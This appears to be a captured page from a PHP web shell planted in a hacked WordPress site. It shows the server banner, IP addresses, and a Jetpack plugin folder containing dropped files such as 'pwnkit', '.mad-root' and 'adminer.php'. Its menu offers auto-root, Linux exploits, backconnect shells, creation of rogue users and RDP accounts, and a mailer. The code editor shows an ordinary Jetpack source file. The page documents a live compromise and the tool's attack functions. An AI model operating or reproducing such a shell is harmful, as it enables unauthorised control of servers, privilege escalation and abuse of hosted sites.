Linux webd002.cluster130.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Apache
: 10.130.40.2 | : 216.73.217.172
Cant Read [ /etc/named.conf ]
8.3.31
espacpq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
espacpq /
www /
wp-content /
plugins /
jetpack /
_inc /
[ HOME SHELL ]
Name
Size
Permission
Action
blocks
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
genericons
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
accessible-focus.js
620
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
blogging-prompts.php
9.06
KB
-rw-r--r--
class.jetpack-provision.php
9.56
KB
-rw-r--r--
crowdsignal-shortcode.js
649
B
-rw-r--r--
crowdsignal-survey.js
277
B
-rw-r--r--
deprecate.js
2.26
KB
-rw-r--r--
facebook-embed.js
1
KB
-rw-r--r--
gallery-settings.js
1
KB
-rw-r--r--
genericons.php
508
B
-rw-r--r--
jetpack-admin.js
1.56
KB
-rw-r--r--
jetpack-deactivate-dialog.js
2.9
KB
-rw-r--r--
jetpack-modules.js
2.37
KB
-rw-r--r--
jetpack-modules.models.js
2.15
KB
-rw-r--r--
jetpack-modules.views.js
1.69
KB
-rw-r--r--
polldaddy-shortcode.js
2.64
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
site-switcher-endpoint.php
2.33
KB
-rw-r--r--
site-switcher.js
7.61
KB
-rw-r--r--
site-switcher.php
1.9
KB
-rw-r--r--
social-logos.php
840
B
-rw-r--r--
twitter-timeline.js
351
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : site-switcher-endpoint.php
<?php /** * Site Switcher REST API Endpoint * Jetpack-only endpoint for fetching compact sites list * * @package automattic/jetpack */ use Automattic\Jetpack\Connection\Client; use Automattic\Jetpack\Connection\Manager as Connection_Manager; if ( ! defined( 'ABSPATH' ) ) { exit( 0 ); } /** * Register REST API endpoint to fetch compact sites list from WordPress.com */ function jetpack_site_switcher_register_rest_routes() { register_rest_route( 'jetpack/v4', '/sites/compact', array( 'methods' => WP_REST_Server::READABLE, 'callback' => 'jetpack_site_switcher_get_sites', 'permission_callback' => 'jetpack_site_switcher_permission_check', ) ); } /** * Check if the current user is connected to WordPress.com * * @return bool True if user is connected, false otherwise */ function jetpack_site_switcher_permission_check() { if ( ! is_user_logged_in() ) { return false; } $connection_manager = new Connection_Manager(); return $connection_manager->is_user_connected(); } add_action( 'rest_api_init', 'jetpack_site_switcher_register_rest_routes' ); /** * Fetch compact sites list from WordPress.com API * * @return WP_REST_Response|WP_Error */ function jetpack_site_switcher_get_sites() { $response = Client::wpcom_json_api_request_as_user( '/me/sites/compact', 'v1.1', array( 'method' => 'GET' ), null, 'rest' ); if ( is_wp_error( $response ) ) { return new WP_Error( 'jetpack_site_switcher_request_failed', sprintf( /* translators: %s: Error message from the API request */ __( 'Failed to connect to WordPress.com: %s', 'jetpack' ), $response->get_error_message() ), array( 'status' => 500 ) ); } $response_code = wp_remote_retrieve_response_code( $response ); if ( 200 !== $response_code ) { return new WP_Error( 'jetpack_site_switcher_api_error', sprintf( /* translators: %d: HTTP status code */ __( 'WordPress.com API returned error (HTTP %d)', 'jetpack' ), $response_code ), array( 'status' => $response_code ) ); } $body = json_decode( wp_remote_retrieve_body( $response ), true ); if ( ! isset( $body['sites'] ) ) { return new WP_Error( 'jetpack_site_switcher_invalid_response', __( 'WordPress.com API response missing sites data', 'jetpack' ), array( 'status' => 500 ) ); } return rest_ensure_response( $body ); }
Close